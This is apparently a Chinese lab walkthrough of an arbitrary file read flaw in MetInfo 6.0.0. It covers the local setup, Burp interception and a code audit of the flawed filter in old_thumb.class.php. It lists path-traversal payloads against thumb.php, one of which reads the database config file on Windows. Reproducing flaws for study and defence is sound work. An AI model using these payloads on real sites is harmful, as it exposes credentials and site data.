文件读取漏洞复现(Metinfo 6.0.0)

文章目录

  • 安装环境
  • 启动环境
  • 漏洞复现
  • 代码审计

安装环境

安装phpstudy,下载MetInfo 6.0.0版本软件,复制到phpstudy目录下的www目录中。

打开phpstudy,访问浏览器127.0.0.1/MetInfo6.0.0/install/index.php,打开Meinfo 6.0.0主页:
文件读取漏洞复现(Metinfo 6.0.0)_第1张图片

点击下一步、下一步,到数据库设置中配置数据库信息,数据库名设为met,密码设为root:

文件读取漏洞复现(Metinfo 6.0.0)_第2张图片

填写管理员设置,设置用户名,密码设为root,手机号码和电子邮箱随便填写:

文件读取漏洞复现(Metinfo 6.0.0)_第3张图片

点击保存设置后显示安装完成:

文件读取漏洞复现(Metinfo 6.0.0)_第4张图片

启动环境

安装成功后打开网页,点击登录,来到输入用户名和密码的输入框:

文件读取漏洞复现(Metinfo 6.0.0)_第5张图片

漏洞复现

漏洞原理

在MetInfo软件的old_thumb.class.php文件存在任意文件读取漏洞。攻击者利用此文件漏洞窃取网站上的资产。

访问漏洞点127.0.0.1/MetInfo6.0.0/include/thumb.php,访问后发现只有一张图片:

文件读取漏洞复现(Metinfo 6.0.0)_第6张图片

打开bp抓包(注意在filter中勾选images,不然无法显示抓包的图片数据包),Ctrl+R发送到重定向,点击send发送,如下图:

文件读取漏洞复现(Metinfo 6.0.0)_第7张图片

替换读取的路径:

第一、二、三次测试:

/include/thumb.php?dir=..././http/..././config/config_db.php
/include/thumb.php?dir=.....///http/.....///config/config_db.php
/include/thumb.php?dir=http/.....///.....///config/config_db.php

发送后发现读取配置文件内容失败,漏洞已被官方修复,只有第四次测试成功(注:该漏洞只在Windows下生效,Linux无法利用):

/include/thumb.php?dir=http\..\..\config\config_db.php

如图,读取配置文件内容成功:

文件读取漏洞复现(Metinfo 6.0.0)_第8张图片

代码审计

在C:\phpStudy\WWW\MetInfo6.0.0\include目录下找到thumb.php文件,查看源码


发现有一个define(‘M_CLASS’, ‘old_thumb’);载入了一个old_thumb类,在目录C:\phpStudy\WWW\MetInfo6.0.0\app\system\include\module下找到这个类的文件:

 $dir = str_replace(array('../','./'), '', $_GET['dir']);


        if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
            header("Content-type: image/jpeg");
            ob_start();
            readfile($dir);
            ob_flush();
            flush();
            die;
}

发现它过滤了…/和./字符,同时if语句中规定前4个字符必须是http,然后计算字符中./的位置,如果为false即为空,才能由任意文件读取函数readfile($dir)读取。

你可能感兴趣的:(网络安全,漏洞复现,网络,安全,文件上传漏洞)